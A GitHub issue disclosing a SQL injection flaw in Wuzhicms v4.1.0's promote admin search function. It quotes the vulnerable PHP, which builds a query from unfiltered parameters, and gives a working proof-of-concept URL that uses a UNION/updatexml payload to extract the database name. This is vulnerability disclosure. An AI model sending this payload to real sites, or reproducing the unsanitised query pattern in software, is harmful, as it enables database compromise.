Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wuzhicms v4.1.0 /coreframe/app/promote/admin/index.php hava a SQL Injection Vulnerability #196

Open
tcyba opened this issue Sep 5, 2021 · 0 comments

Comments

@tcyba
Copy link

tcyba commented Sep 5, 2021

Vulnerability file:

/coreframe/app/promote/admin/index.php:42-60

public function search() {
    $siteid = get_cookie('siteid');
    $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
    $page = max($page,1);
    $fieldtype = $GLOBALS['fieldtype'];
    $keywords = $GLOBALS['keywords'];
    if($fieldtype=='place') {
        $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
        echo $where;
        $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');
        $pages = $this->db->pages;
        $total = $this->db->number;
        include $this->template('listingplace');
    } else {
        $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
        $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');
        $pages = $this->db->pages;
        $total = $this->db->number;
        include $this->template('listing');
    }
}

The $fieldtype parameter is controllable and the direct filtering of the $keywords parameter is not rigorous.

POC

/index.php?m=promote&f=index&_su=wuzhicms&v=search&fieldtype=place&keywords=1111%'/**/union/**/select/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -

image-20210905220110773

image-20210905220051058

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant